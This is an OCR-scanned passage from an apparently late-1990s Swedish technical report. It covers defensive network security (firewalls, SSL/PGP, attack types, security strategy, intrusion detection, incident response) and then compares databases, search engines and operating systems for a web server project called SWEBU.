sakerstéller att innehéllet inte har fordndrats under transport kan man pa ett
sdkert sétt anvénda Internet for kommunikation av kénsligt material. Hur stark
kryptografi som behover anvindas beror pa hur linge informationen som
sdnds dr intressant for en angripare och hur stora resurser potentiella angripare
kan ténkas stélla upp med for att dechiffrera meddelandena.

SCREENING ROUTERS

E Screening router d4r ménga ganger den enklaste och effektivaste
brandviéggen. Datorer dr vanligen anslutna till nitet via en router. En router dr
en dator som tar emot digitala informationspaket, konsulterar en routing tabell
for att se var de ska ta vdgen, och skickar ut paketet mot sin destination pa
nagon av dess fysiska portar. En filtrerande router har tva funktioner:

1. Forhindra att falska interna adresser anropas
2. Blockera kommunikation med valda protokoll i valfri riktning.
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Den uppritthaller dessa funktioner genom att titta pa IP paketens headers.
Dessa innehaller bl a kll- och destinationsadress, paketlangd, och
felkorrektionskoder.

PROXY GATEWAYS

Dessa har storre komplexitet dn routers. De ser inte bara headers och protokoll
utan tittar dven pd innehallet i de meddelanden som skickas. Proxy gateway
utgdr en stéllforetradare som ges uppgift att ta Gver en annan servers tjdnster.
Detta gér man for att kunna ldgga in ytterligare funktionalitet innan tjdnsten
utfores pa den ordinarie servern. Med en proxy gateway dr det t.ex. mojligt att
se till att trafiken till port 25 (Standardporten for SMTP) pa en server bara
bestdr av giltiga mailmeddelanden i mailprotokollet. Proxy servern far i det
hér fallet uppdraget att sédnda ivég ett mail. Men fore sdndningen kontrolleras
mailet med avseende pa exempelvis pahdngda filer.

GUARDS (VAKTARE)

Har storre komplexitet dn proxy gateways och analyserar innehéllet pa de
meddelanden som sédnds. Det kan till exempel rora sig om att géra antivirus
testning av e-mail.

113 OLIKA TYPER AV ATTACKER

11.3.1 Intrang

Vid ett intrang kan obehoriga komma in och anvénda systemet som vore de
behoriga anvindare. Man maste ocksa tidnka pa att en brandvégg inte alltid
hjilper mot attacker. Ménniskor kan 1 virsta fall vara léttare att lura &n datorer.
Vad gor systemadministratoren dd VD ringer och sdger att han skall visa den
senaste produkten for foretagets viktigaste kund om tva minuter och han sdger
sig ha glomt 16senordet.

Det dr inte omojligt att tdnka sig att systemadministratdren lamnar ut ett nytt
losenord 1 denna stressade situation, utan att verifiera vem det egentligen var
som ringde. Detta giller speciellt om den uppringande ger intryck av att kiinna
till sociala forhallanden och systemadministratorens namn 0.s.v.

Aven om en brandviigg inte direkt kan forhindra en sddan hir attack kan den
gora att det blir betydligt svarare att na uppgifter om sociala férhallanden och
systemegenskaper som till exempel IP-nummer. Om man inte vet vem man
skall attackera forsvaras attacken avsevirt. En annan metod for att forsvara
attacker av denna typ 4r att anvinda engangslosenord samt att forhindra
inloggning fran system utanfoér den egna organisationen.
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LOGG

Man bor vidare fora loggbok over vem som anvinder systemet. Loggen skall
inte bara foras utan dven kontrolleras, vilket dven det har sin kostnad i
arbetstid. Ett medelstort system, med mojlighet till telnet (protokoll for
terminalemulering), ftp, mail och webtjédnster, kan ta en halv till en arbetsdag 1
veckan att kontrollera. Stora foretag som till exempel Sun har bevakning
dygnet runt for sikerhetens bevarande.

11.3.2 Informationsstold och kryptering

Ofta har datorlagrad information ett virde som kan gora att man vill stjédla den.
Antingen utgor informationen i sig en handelsvara och har dédrigenom ett
virde utanfor den egna informationsdoménen eller sa kan den utgora
bakgrundsinformation for annan inkomstbringande verksamhet.

Det sékraste sittet att skydda sig mot stold dr att gora informationen oléslig for
obehoriga genom kryptering. Det &r da viktigt att informationen &r krypterad
under hela sitt liv, oavsett om den ligger fysiskt lagrad eller &r under transport
over nagot datornit. Vanliga krypteringssystem pa Internet dr PGP, som
frimst anvénds for e-mail och SSL.

PGP

PGP, Pretty Good Privacy, dr ett sd kallat asymmetriskt kryperingssystem som
bygger pa att den som vill ta emot krypterad information limnar ut sin publika
nyckel till den som ska séinda informationen. Sdndaren krypterar materialet
med mottagarens publika nyckel och skickar ivig det. Vil framme hos
mottagaren kan meddelandet dekrypteras med hjélp av mottagarens privata
nyckel som bara han kinner. Se (Garfinkel, 1995)

SSL

Forkortningen SSL star for Secure Socket Layer. SSL, som &r Internets
forharskande sikerhetssystem, mojliggor savil identifiering av klienter och
servers som kryptering av overford information. SSL anvinds framst {for att
satta upp sikra HTTP forbindelser men kan dven anvéndas t ex for ftp
(filoverforing) eller telnet (terminalemulering). Anledningen till att det &r sa
enkelt att anpassa till olika tjdnster &r att det i princip dr vanliga sd kallade
Berkeley sockets som modifierats for att tillata kryptering. En socket, sockel
pé svenska, utgor ett slags API (Application Programming Interface) for
TCP/IP nitverk.

SSL arbetar i tva steg. I det forsta steget utbyter server och klient information
om varandra.
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CLIENT SERVER

ClientHello

ServerHello
Certificate
CertificateRequest
Certificate ServerKeyExchange
ClientKeyExchange
CertificateVerify

ChangeCipherSpec \.l ) .
ChangeCipherSpecFinished ChangeCipherSpecFinished |

L

|Data Exchange k ’lData Exchange |

Figur 30  Bilden visar anrop pa systemniva av SSL biblioteket. (Lindemalm, 1997)).
Exempel pa anrop ar ChangeCipherSpec vilket betyder Skifferutbytet klart
(man har bytt krypteringsnycklar).

I exemplet, enligt figur 30, vill CLIENT uppritta en krypterad forbindelse
med en server for att exempelvis sédnda kénslig information. Foljande dialog
utspinner mellan CLIENT och SERVER. Klienten sénder ClientHello till
servern som svarar med ServerHello. Dessa meddelanden innehéller bland
annat information om protokollversion, krypterings- och
kompressionsmetoder. I ett andra steg sénder servern sitt certifikat till
klienten. Eventuellt skickas ett ServerKeyExchange meddelande t ex om
servern saknar certifikat eller om det enbart &r avsett for att skapa signaturer.
Om servern dr autentierad kan den begira ett certifikat fran klienten.
Autentiering sker idag via s kallade certifikat (krypteringsnyckel) som
utfirdas av olika kommersiella betrodda organisationer som t.ex. Verysign
(http://www.verysign.com). Det dr 6ven fullt mojligt att inom en organisation
utfirda egna certifikat. Huvudsaken é&r att de som skall anvinda certifikaten
litar pa certifikatets utfardare. Efterhand véxer ett hierarkiskt trad av
fortroende upp.

Pa detta sitt kan man sikerstélla att krypterade forbindelser kan etableras i
Internetmiljon.

1133 Tillgianglighetshindrande atgéirder

Det finns olika majligheter att blockera atkomsten av ett system. Det
vanligaste och enklaste dr att drinka systemet med information sa att
kapaciteten inte riicker till for att sldppa in andra. Aven om man inte direkt
péaverkar den tjidnst man vill blockera, 1t oss anta att det &r WWW-servern,
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kan man genom att lata datorerna utfora andra resurskriavande tjanster
forhindra dem att hinna ta hand om WWW-tjinsten. Antingen genom att
datorkapaciteten tar slut eller att nétets kapacitet 6verskrids. Detta kan ske
genom att man exempelvis skickar gigantiska e-mail till mailservern.

114 SAKERHETSSTRATEGIER

Nér man beslutar om en sékerhetsstrategi for en organisation ar det viktigt att
alla inblandade far sdga sin mening for att de skall kénna sig tillfreds med
sdkerhetssystemet. P4 sa sitt minskar risken att nagon inom organisationen
skapar genvégar for sitt personliga arbete. Genvédgar som kan utgora
sakerhetsrisker. Till exempel sitter nagon upp en modemforbindelse till
systemdelar som annars varit skyddade av en brandvigg. Aven externa
faktorer paverkar valet av sdkerhetsstrategi (vad kriver eventuella
samarbetspartners och Riksrevisionsverket m {1 ).

Man ska heller inte heller forlita sig pa att man kan skydda sig mot att en
inkréktare tar sig in 1 systemet. Om han vil lyckas ta sig in ska man se till att
han kan gora sé lite skada som mojligt, t.ex. genom att man viljer
behorigheter pa lampligt sétt. I UNIX finns ett program som heter Cops (fritt
tillgéngligt pa Internet) som kan hjilpa systemadministratren med detta
arbete. En viktig princip dr att aldrig ge anvindarna storre behorigheter 4n vad
de absolut behover. Det ér t.ex. vansinnigt att ge varje enskild anvindare
systemets root-l6senord bara for att de skall kunna stédnga och starta om
utskriftssystemet om det skulle hénga sig. Eller att lata ett program koras som
root bara for det ska kunna skriva i nagon viss skrivskyddad fil.

Under inkriktarens vég att na viktiga systemfunktioner ska han ha svért att
lata bli att r6ja sin existens. Till exempel genom att man berdknar
checksummor pa filstorlekar sé att det syns om han t.ex. skulle ldgga in en
extra anvéindare eller gora nagon annan oonskad filfordndring. Detta kan pa
UNIX system ske med ett program som heter Tripwire (fritt tillgédngligt pa
Internet).

Man kan dven gora s.k. wrapper program. Detta dr skal runt program som kan
utfora kédnsliga operationer 1 systemet. Innan den verkliga funktionen utfors
trider skalet in och kan t.ex. logga vem som forsokte utfora den. Det dr vanligt
att man anvénder dessa s.k. wrappers runt TCP/IP funktioner som t.ex. ftp,
telnet m.fl. Forutom att logga héndelser kan man foérhindra tkomst pé vissa
tider av dygnet (t.ex. icke arbetstid). Det dr dven mojligt att pa detta sétt
modifiera mekanismer for start av vissa Internettjidnster efter vem som begér
tjdnsten.

Man bor dven utarbeta system for att 6vervaka svarstider. Forutom att dessa &r
bra att ha for att forutsdga ndr man behover utvidga systemet, kan sddan
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statistik ocksd ge fingervisningar om huruvida nagon obehérig anvinder
systemet.

Aven om man loggar vad som sker kan man téinka sig att en skicklig
inkréktare kan forstora loggfilerna och dédrigenom forhindra att hans identitet
rojs. For att forhindra detta kan det ibland, t.ex. om man misstidnker ett
pagdende angrepp, vara lampligt att skriva ut loggen pa en skrivare.

Det dr ocksa viktigt att man sjélv forsoker bryta sig in i systemet nagon gang
emellanat for att se att det inte uppstétt nagra sikerhetsluckor. Ett lampligt
program for att kontrollera sdkerheten 1 UNIX system &r Satan som liksom
Tripwire och Cops kan hémtas fritt pa Internet.

Rent allmént &r det viktigt att man inte enbart har ett skalforsvar utan dven
forsvar pa djupet. Man bor dven se till att systemets anvéndare inte har for
enkla l0senord. Ett bra sitt att skapa losenord som é&r enkla att komma ihag
men svara att knécka, &r att vélja en mening och ta forsta bokstaven i varje
ord. Man bor dven se till att I6senorden innehaller nagra siffror eller icke
alfabetiska tecken. Ibland kan man anvénda dem 'onomatopoetiskt' for att
kunna memorera dem enkelt. T.ex. memorera ordet baten men skriv bal0.

De flesta system lagrar 10senorden i krypterad form. Dessa krypterade
losenord skall naturligtvis inte vara tillgéingliga for allménheten. For att
forhindra att nagon stjil ett 16senord och dirigenom olovandes skaffar sig
tilltrade till systemet, bor man kontrollera att man inte genom att kryptera en
kéind ordlista bakvédgen kan lista ut vad 16senorden ir.

I UNIX-virlden finns ett program, Crack (fritt tillgéngligt pa Internet), som
g0r just detta. Det &r all idé for systemadministratorer att kora detta program
pé sina egna losenordsfiler med jimna mellanrum. Om nédgot 16senord skulle
knidckas bor kontot omedelbart spirras och dgaren underrittas sa att han kan
byta losenord.

Man bor ocksa ténka pa att byta 16senord med jamna mellanrum, systemet bor
konfigureras sa att det anmodar anvéndarna att gora detta. Man bor dven byta
losenord om man gjort en inloggning dver en osiker, dvs icke krypterad kanal,
detta géller speciellt I6senorden for systemadministratdrerna.

Det enklaste sittet att fa ett sdkert system dr att skapa en allmént
sakerhetsmedvetande, och en forstéelse for vad som &r skyddsvért i den egna
organisationen. Detta sdkerhetstdnkande bor genomsyra hela verksamheten
och inte bara datoranvéndningen. Det kan rora sig om enkla saker som att
instruera medarbetarna att da de passerar en kodlasforsedd dorr tillsammans
med en tillféllig gést att sla ndgra extra siffror och avsluta med den riktiga, for
att det skall bli svérare att memorera koden. Eller en sa enkel sak som att lasa
sin kontorsdorr nidr man ej dr dér, for att inte tala om att aldrig limna en dator 1
inloggat skick obevakad.
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Det finns tva végar att ga da man bygger upp sin sikerhetsstrategi

- Allt forbjudet - utom det som uttryckligen ar tillatet, figur 31,

Begiéran av
information

|

Finns det en
regel som
medger dtkomst?

Nej

Ingen atkomst

figur 31

o

Regelbas:
tillater
atkomst

Information
ldmnas ut

Man férsoker har avgdra den minsta méangd information som varje

anvandare behdver for sitt arbete och begransar hans majliga
informationsatkomst till denna. Risken att man definierar denna minimala
mangden alltfér snavt ar uppenbar, och att man pa sa satt gor systemet

onddigt svararbetat.

- Allt tillatet - utom det som uttryckligen dr forbjudet, figur 32,

Begiéran av
information

|

Finns det en
regel som
forbjuder
atkomst?

i \I\iej

Ingen atkomst

Figur 31

Regelbas:
forbjuder
atkomst

Information
ldmnas ut

Har forsoker man i stallet dela information sa mycket som mgjligt. Och gor

bara begrénsningar om det &r absolut nédvandigt. Denna typ av strategier
ar lampliga t.ex. for universitet och forskningsinstitutioner dar
verksamheten i sig ar mer eller mindre publik
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Att detektera ett angrepp

Hur man detekterar angrepp beror naturligtvis pa vilken typ av system man
anvinder. Vanligtvis sker det genom foljande metoder.

1.

Overvakning for att detektera oviintade forindringar i systemets
prestanda. Ofta det forsta tecknet som man mérker. Kan t.ex. bero pa
att nagon forsoker utnyttja datorn for att knédcka 16senord.

Overvakning av diverse loggfiler 6ver hur systemet utnyttjas. Till
exempel varifran ftp eller http anslutningar kommer. Om man ser
anslutningar som normalt inte skall kunna ansluta bér man bli
misstinksam. An mera misstinksam bor man bli om dessa anslutningar
varar under ldngre tid &n normalt. (Exempel pé logfiler som kan vara
aktuella 1 ett UNIX system dr messages, lastlog, ftp och http loggar.
Vad det giller filen messages bor man dven kontrollera syslogd.conf sa
att en inkréktare ej dndrat vad eller hur loggning sker)

Overvakning av vem som anvénder systemet vid visa tidpunkter. Om
ndgon som normalt inte arbetar vid en viss tid plotsligt och regelbundet
ar inloggad under denna kan man missténka att nagon olovandes
utnyttjar hans anvéandaridentitet.

Genom den rora i systemet som inkréktaren stiller till. Detta kan lata
drastiskt men om roran inskrédnker sig till brandvédggsmaskinen och
man har strikt overvakning (t.ex. genom ovanndmnda Tripwire pa en
UNIX-maskin) 6ver denna sa att man hinner stoppa ett angrepp innan
det nar in i vitala delar av systemet &r det en bra metod.

Leta efter saknade logfiler, eller poster 1 logfiler som borde funnits dr.
Om delar av loggfiler dr korrupta eller saknas kan man misstéinka att
ndgon forsokt sopa igen sparen efter sin framfart.

Leta efter processer som inte borde kora.

Se om program for att overvaka systemet har modifierats. T .ex. genom
att berdkna MD5 (Schneier, 1996) checksummor pd programmen och
jamfora dessa med checksummor som man vet &r korrekta. (Glom inte
att kolla checksumman pa MDS5 programmet)

. Kontrollera att behdorigheter pd viktiga filer inte forandrats pa

otillborligt sétt. (Till exempel fatt setuid-behorighet pa ett UNIX-
system)

Det finns ett flertal system fOr att automatisera och forenkla dessa
overvakningsuppgifter.
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114.2 Atgﬁrder vid sikerhetsincident

1 Grips inte av panik.
En systemadministrator i paniktillstand dr en sikerhetsrisk i sig.
2 Dokumentera allt du gor och allt som hinder 1 systemet.

Nér man upptéckt en attack dr det forsta steget att besluta om ldmplig
motatgird. Vilken denna blir beror pa om angriparen lyckats ta sig in i
systemet, om sa &r fallet &r tillstandet akut oavsett om inkriktaren dr aktiv
eller inte.

Misstidnker man ett pagaende inbrottsforsok bor man handla omedelbart dven
om det inte 4r samma paniksituation. Anses situationen allvarlig bor man bryta
forbindelsen innan inkriktaren lyckats ta sig in i systemet. Utifran information
bor man si 1&ngt det gér att spéra angriparen. Aven om man inte kan komma
sa langt att man vid en rittegédng kan fé en fillande dom kan man ofta fa
inkréktarens internetleverantdr att sluta leverera internettjinster till
missdadaren.

1143 Hur haller man sig informerad?

Att via Internet hélla sig uppdaterad pa de senaste metoderna att utnyttja
svagheter 1 systemen for att bryta sig in kan létt bli ett heltidsjobb for
systemadministratoren. Det finns dock ett par organisationer listade nedan
vars bulletiner och rekommendationer man bor studera noga. De flesta av
dessa dr helt UNIX-orienterade. Anledning till detta dr dock troligen inte att
UNIX skulle vara sa mycket osdkrare &n t.ex. Windows NT utan snarare att
det tar fyra fem ar innan man kénner ett system sa vél att man kan uttala sig
om huruvida det dr sikert eller inte. Med tanke pa att Windows NT inte
funnits sa lange finns foljaktligen inga oberoende sidkerhetsexperter att
tillfraga. Man &r utlimnad till Microsofts egna experter.

BUGTRAQ

Mailinglista som detaljerat behandlar svagheter hos diverse UNIX system.
Trafiken har ganska hog volym. For att prenumerera pa listan skicka ett mail
innehallande “subscribe bugtraq” till listserv@netspace.org

CERT

Computer Emergency Response Team grundades 1989 av USAs
forsvarsdepartement for att skydda Internets infrastruktur. Arbetet bedrivs vid
Carnegie-Mellon University 1 Pittsburg av ett dussintal anstéllda som tar emot
och analyserar rapporter fran Internetanvéndare och utifran dessa
sammanstéller och ger ut varningar och rekommendationer om hur man hojer
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sakerheten. Deras rad gors tillgéngliga via newsgruppen
comp.security.announce. CERT har dven en ftp-server dér sévil varje
sdkerhetsbulletin CERT givit ut som sékerhetsrelaterad programvara kan
hiamtas. Adressen ér ftp://info.cert.org. CERT kan nas via e-mail pa adressen
cert@cert.org. CERT rekommenderar att man krypterar sina brev. De stodjer
kryptering enligt DES, PGP och PEM.

CIAC

Computer Incident Advisory Capability group. Det amerikanska
energidepartementets datasékerhetsorganisation. Haller ftp och http server
med sédkerhetsrelaterade dokument och program. Adresser:
ftp://ciac.llnl.gov/pub/ciac/ , http://ciac.llnl.gov/, mailto:ciac@lInl.gov

COAST

Computer Operations, Audit and Security Technology. Ett projekt vid Purdue
University, USA, for att hja néatverkssidkerheten. Har forutom en intressant
ftp/web site ett nyhetsbrev om nitsékerhetsfragor. Adresser:
ftp://coast.cs.purdue.edu, http://www.cs.purdue.edu/coast/coast.html,
mailto:coast-reqest@cs.purdue.edu

NEWS GROUPS

Nir det giller allméinna sidkerhetsfragor kan man f6lja ndgon av grupperna;
comp.sercurity.annonce, comp.security.misc, alt.security samt
comp.security.unix den sistndmnda behandlar som namnet antyder sékerhet i
UNIX-nét men kan vara ldsvérd for den som sysslar med TCP/IP-baserade niit
1 storsta allménhet.

Nir det giller kryptografi finns f6ljande intressanta grupper:
sci.crypt.comp security.pgp, comp.security .ripem, comp.protocols kerberos
For fragor rorande brandviggar kan man vinda sig till comp.security firewalls

12 Att vilja server

121  ONSKADE EGENSKAPER

En server for WWW bruk bestér av ett antal komponenter som tillsammans
skapar den 6nskade funktionaliteten. Det ror sig om bade mjukvara och
hérdvara. Kombinationen av dessa bestimmer serverns egenskaper i olika
avseenden, som t ex svarstider, driftsédkerhet, framtidssidkerhet, utbyggbarhet
inkOpspris och driftskostnader. Detta leder till en rad ibland motstridiga krav
pé systemet, som t ex snabba svarstider, laga driftskostnader, stor driftsidkerhet
och stor datasékerhet.
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Eftersom anvindarnas fortroende for systemet till stor del hinger samman
med driftsédkerheten anser vi att denna bor prioriteras hogt i en
utrustningsspecifikation. Vidare kan man forvinta att man kommer att driva
systemet under ett antal ar framat varfor det kan vara klokt i att forsoka fa en
uppfattning om de faktiska driftskostnaderna.

12.2 MJUKVARA

1221 Databas

Vilken databas som kan vara aktuell hinger starkt samman med vilket
operativsystem man viljer. Da vi av sdkerhetsskil ansag att Solaris (UNIX)
var det bésta operativsystemet koncentrerade vi vara studier pa de databaser
som var tillgdngliga pa denna plattform.

Vi gjorde en del experiment med en shareware mjukvara, mSQL, som dock
visade sig sakna visentliga funktioner. Det var bland annat inte mojligt att
kora néastade SQL fragor. Dessutom behandlar mSQL databasanropen
sekventiellt vilket skulle vara en nackdel ur prestandasynpunkt for ett
fleranvéndarsystem. Inte heller fanns det nagot system for 1dsning av poster.
Om mSQL skulle ha anvénts hade ett sadant system behovt simuleras med
lasfiler ute i filsystemet, vilket i sin tur hade lett till ett mindre robust system.

Aven ur en annan prestandasynpunkt fann vi mSQL négot tveksam. Vid en
JOIN av nagra fa tabeller ndrmade sig prestanda de som man far genom att
hantera data som filer i filsystemet och anvinda UNIX standardverktyg (cut,
paste m.fl.) for att stélla samman data.

Ej heller hade mSQL nagra funktioner for att sidkerstélla databasintegriteten.
Vara tester giller mSQL version 1.xx, pa senare tid har det kommit en ny
version 2.0 (dock bara i beta dnnu sa linge) som adresserar manga av
problemen, men fortfarande kvarstar att anropen hanteras sekventiellt med
prestandaproblem som {6ljd i ett véxande fleranvindarsystem.

Ett annat alternativ som kommit pa senare tid &r den svenskutvecklade
mySQL som till skillnad frin mSQL har en multitradad server vilket gor den
mera lampad for ett fleranvédndarsystem. Vi har inte gjort nagra egna
jamforande tester, men enligt anvindare som provat bada &dr sokningen
snabbare i mSQL om sokfragorna dr enkla. Nir fragorna blir mera komplexa

vinner mySQL. MySQL ségs dven vara langsammare att uppdatera &an mSQL.

MySQL har édven ett betydligt béttre system for att hantera anvindare &n
mSQL. Till skillnad fran mSQL dér behorigheter konfigureras i en fil, laggs
anvindarna hér i en databas med tabeller for anvandare, databas och dator.

&9
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Genom detta forfarande kan man fa béttre granularitet vid
sakerhetskonfigurationen i mySQL 4n 1 mSQL. Dessutom lagras 16senorden 1
krypterad form 1 mySQL vilket okar sdkerheten. Vi svenskar kan dven gladja
oss at att mySQL kan konfigureras att ge felmeddelanden pé svenska.

Till sdvdl mSQL som mySQL finns jdbc drivrutiner av typ 4. Dvs helt skrivna
1 Java och med kommunikation mot databasen dver TCP/IP i respektive
databas eget kommunikationsprotokoll. mSQLs jdbc driver klarar for
nédrvarande bara Java version 1.02 med JDBC 1.1, medan mySQL foljer
standarden for jdbc 1.22 vilket innebér att den fungerar med java 1.1.

Bade mSQL och mySQL har begrdnsningar vad det giller mojlighet att skapa
prekompilerade SQL fragor och transaktionshantering. For att fa dessa
funktioner maste man g till kommersiella system som t ex ORACLE eller
Informix. Dessa system utmaérks av stora konfigurationsmojligheter for olika
arbetsuppgifter. Detta leder dock till 6kad komplexitet, ofta vil 1 klass med
fullddiga operativsystem som t ex UNIX eller VMS.

12.2.2 Databaskopplingar

1223 Soksystem utanfor databasen

Den information som ligger lagrad utanfor databasen ute i filsystemet kan
goras sOkbar med s k. indexeringsmaskiner. Med hjélp av dessa skapar man
index Over informationen som sedan anvénds for att gdra snabba sokningar. Vi
har erfarenhet av fem system: Excite (http://www.excite.com), WAIS,
Microsoft Indexserver som ingér i Microsoft Windows NT 4.0 server paket
samt Glimpse (fritt tillgéngligt pa Internet) och Netscape

(http://www .netscape.com).

WALIS utmirks tillsammans med Excite av att man kan anvénda hela
dokument som soknycklar. Resultaten fran sokningarna presenteras sé att de
mest troliga dokumenten visas forst, sd kallad relevansrankning. Det gar
alldeles utmirkt att gora en sokning och utifran resultatet av denna fortsitta att
soka med de dokument som sag mest lovande ut som soknycklar.

Indexeringsprocessen 1 WAIS dr dock mycket resurskrdavande vad giller
primédrminne och diskaccess (skivminnesatkomst). Det &r inga svarigheter att
forbruka 100 MB primédrminne for att indexera nagra tiotal MB information.
Indexen blir dessutom stora, i samma storleksordning som den indexerade
informationen.

WALIS indexen gors sedan tillgéngliga over nitet via speciella WAIS servers.
Detta gor det mojligt att soka efter information fran flera WAIS kéllor
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samtidigt. Den stora resursatgangen gor dock att WAIS idag anvénds allt
mindre, en annan bidragande orsak &r att de sokklienter som finns har mindre
intuitiva anvindargrinssnitt . Kéllkoden till WAIS systemet éar fritt tillginglig
och kan fas att fungera pa de flesta UNIX system. Den dr dessutom forberedd
med hakar som gor det mgjligt att forse systemet med filter for att klara olika
dokumenttyper via ett API skrivet C++. I praktiken &r det dock svart att dra
nytta av detta da t.ex. filformatet for kéinda ordbehandlingssystem ej &r fritt
tillgdngliga utan maste bestimmas genom “reverse engineering*. Man kan
dock téinka sig att anvinda mojligheten for att skapa mallar for olika typer av
SGML (Standard General Markup Language) dokument beskrivningar som t
ex HTML

WAIS-systemet har i sitt grundutforande inga kopplingar sé att det direkt kan
kopplas till en HTTP-server, utan man maste dven komplettera med dessa. Ett
flertal mer eller mindre bra sadana program vanligen skrivna i Perl finns att
tillga pa Internet.

Excite (Excite Inc) dr det soksystem som har bést anvéndargrénssnitt och
levererar kan forutom sokresultat dven automatiskt skapa relevansrankade
(precis som 1 WAIS) sammandrag av de funna dokumenten. Sammandragen &r
mycket bra, ibland kan det vara nést intill omojligt att tro att de producerats pa
automatisk vig. Excite 4r mycket tolerant mot stavfel 1 sokorden, och detta &r
tur eftersom den inte klarar av att hantera icke amerikanska tecken som a, a
och 0. Det fungerar inte heller att indexera HTML-dokument som innehéller
sa kallade umlaut-omskrivningar for dessa tecken.

En vig att komma at detta dr att editera dokumenten och ersétta alla umlaut-
omskrivningar med standard ISO-Latin-1-tecken innan dokumenten indexeras.
Detta far emellertid till f6ljd att de automatiskt genererade
sammanfattningarna kommer att sakna dessa tecken. For att komma runt dven
detta kan man efter att dokumenten indexerats aterstdlla dokumenten sa att
vara svenska tecken representeras av umlaut-teckenkombinationer. Vi har i
vissa ldage tvingats utfora dessa operationer.

Excite klarar att hantera savél text som HTML-dokument. Excite finns for de
storre UNIX systemen som t.ex. Solaris samt till Windows NT. Problemen
med de svenska tecknen blir dock virre att 16sa pa NT-plattformen da det dir
inte finns nagra standardverktyg for automatisk editering av stora
textméingder.

Programmet Glimpse utgdr indexeringsmotorn i ett storre system, bendmnt
Harvest som kan anvéindas for att skapa distribuerade index 6ver dokument
spridda Over nétet. Det fordras dock att de servers som lagrar dokumenten kor
Harvest programvaran sa att de olika delarna i systemet kan kommunicera
med varandra. Harvest och Glimpse har fritt tillgénglig kéllkod som fungerar
pa de flesta UNIX system. Aven Glimpse har problem med 4, 4 och 6. Dessa
problem 16ses pa liknande sett som i Excite fallet. Precis som WAIS maste
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Glimpse kompletteras med cgi-programvara for att fungerai WWW-
sammanhang.

1224 HTTP-server

Val av HTTP-server kan innebéra val av mjukvara, men det kan ocksd, om
man forvintar sig stor last pa det fiardiga systemet, eller extremt hog drifts-
och datasdkerhet innebéra att man later webservervalet paverka hela
systemarkitekturen. For att 0ka driftsédkerheten kan man infora aktiv
redundans 1 systemet. Detta kan ske genom att man kor flera servermaskiner
som via NFS (Network File System, for montering av externa skivminnen
Over nitet) delar en serverarea.

I SWEBU anvénds en Netscape Enterprise 2.01 HTTP server. Fordelen med
denna dr att den 4r litt att savil installera som att administrera.
Administrationen sker med ett WWW grénssnitt som dr mycket latt att skota.
Dessutom finns bra hjilpfunktioner och soksystem inbyggda 1 servern.

12.25 Operativsystem

Operativsystemet dr en av de viktigaste komponenterna for savil drift som
datasikerhet. Det bor ge mojlighet att ge olika anvéndare olika behorigheter
vad det giller att se existensen av, ldsa, skriva och exekvera filer. Systemet
bor dessutom vara vil inarbetat s att det gér att hitta kompetenta
systemutvecklare och personer som star for drift och Gversyn samt
sdkerhetsOvervakning.

De flesta system é&r idag sa komplexa att man bor ha sysslat med systemet ett
antal ar innan man kan tillrickligt mycket for att kunna veta hur
sakerhetslidckor uppstar pa det aktuella systemet. Tdnkbara System &r idag
olika varianter av UNIX, Open VMS och med viss tvekan (pa grund av dess
korta tid pa marknaden) Windows NT.

UNIX

UNIX ér ett fleranvéndarsystem, med fleruppdragskorning. UNIX finns i ett
flertal dialekter (de har dock inga svarigheter att forsta varandra). Dels finns
gratisvarianter som Linux och FreeBSD, samt kommersiella som t.ex. Solaris
fran Sun. Det som skiljer mellan gratisvarianterna och de kommersiella &r att
kéllkoden till systemen ér fritt tillgédnglig 1 de forra vilket kan vara bra om man
vill géra nagon éndring eller om man behover gora egna anpassningar t.ex. ett
krypterande filsystem.

Nackdelen med de icke kommersiella systemen &r att det dr svart att stilla
nagon till ansvar om det inte fungerar enligt manualen. Savil Linux som
FreeBSD haller idag mycket hog klass och kan ur kvalitetssynpunkt mycket
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vil anvindas i kommersiella system dtminstone s linge man haller sig pa
Intelbaserade datorer. Linux finns dven till andra arkitekturer men &r dér
betydligt mindre utprovat. Vad det giller support finns det idag flera foretag
som &dgnar sig at support for Linux-system.

Fordelen med kommersiella system é&r att man kan fraga tillverkaren om
vilken hardvara som fungerar. Ofta &r dven de grafiska anvindargrénssnitten
bittre t ex med stod for Display Postscript och atminstone runtime stod for
OSF-motif program (Open Software Foundation). Ofta finns det grafiska
anvéandargranssnitt for administration av allt ifrén anvindare till konfiguration
av RAID system (Redundant Array of Inexpensive Disks, eller Redundant
Array of Independent Disks. System av manga harddiskar monterade i ett
rack) och skrivare. Dessutom finns det d&tminstone om man viljer nagot av de
mera kéinda systemen mer fardigskriven och installationsklar kommersiell
programvara att tillga én for de fria systemen.

Det i sdrklass vanligaste kommersiella UNIX-systemet dr Solaris fran SunSoft
(det tredje vanligaste operativsystemet efter Microsoft Windows och MacOS).
Solaris finns for SPARC, Intel och PowerPC datorarkitekturerna. De olika
versionerna dr helt kédllkodskompatibla med varandra varfor det bara fordras
en enkel omkompilering for att skapa kod for en viss plattform. Systemet har
mycket god driftsédkerhet och har anvints 1 en publik informationskiosk 1 ett
museum (Kulturen Lund) utan driftavbrott under mer 4n 24 manader. Pa
grund av den goda driftsidkerheten och det enkla handhavandet valdes Solaris
som bas for SWEBU projektet.

OPEN VMS

Open VMS var just i SWEBU fallet inte nagot alternativ da de fordrade allt
for kostbar hardvara. For den som behover hogpresterande system kan det
dock vara virt att undersoka ndarmare speciellt som det 1 VMS finns goda
mojligheter att styra CPU anvindning och eventuellt begrinsa denna for vissa
anvéndare eller procedurer sd att de inte blockerar systemet pa grund av sitt
hoga personliga resursutnyttjande. VMS har dven ett mycket avancerat
sdkerhets och behorighetssystem. VMS fordrar, 1 och med de storre
konfigureringsmgjligheterna, mer av systemadministratoren dn UNIX och
Windows NT. Fa tillgdngliga programvaror for VMS dr en annan nackdel med
systemet.

WINDOWS NT

Fordelen med Microsofts Windows NT ér att det har samma anvédndargrinsnitt
som Windows 95 och att den som har en Windows 95 utrustad PC pa sitt
skrivbord snabbt kommer igang med att kora en NT server. Ibland kanske lite
vl snabbt eftersom administration och planering av fleranvidndarsystem med
avseende pa t ex sidkerhet fordrar en hel del kunnande om sidkerhet och
nétverk. Mer @n vad som &r vanligt bland persondatoranvéndare i allménhet.
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Detta gor det faktum att man maste ldra sig ett annat anvéndargranssnitt om
man byter operativsystem forsumbart 1 jamforelse med de ovriga kunskaper
man maste skaffa sig.

Leverantoren Microsoft, har kanske till f6ljd att de nyligen slagit sig in pa
marknaden for nétbaserade fleranvindarsystem, inte riktigt insett de nya krav
pé sikerhet ett globalt nétverk stéller. Vid flera tillfdllen har allvarliga
sakerhetsproblem 1 Microsoft produkter forringats av leverantdren och
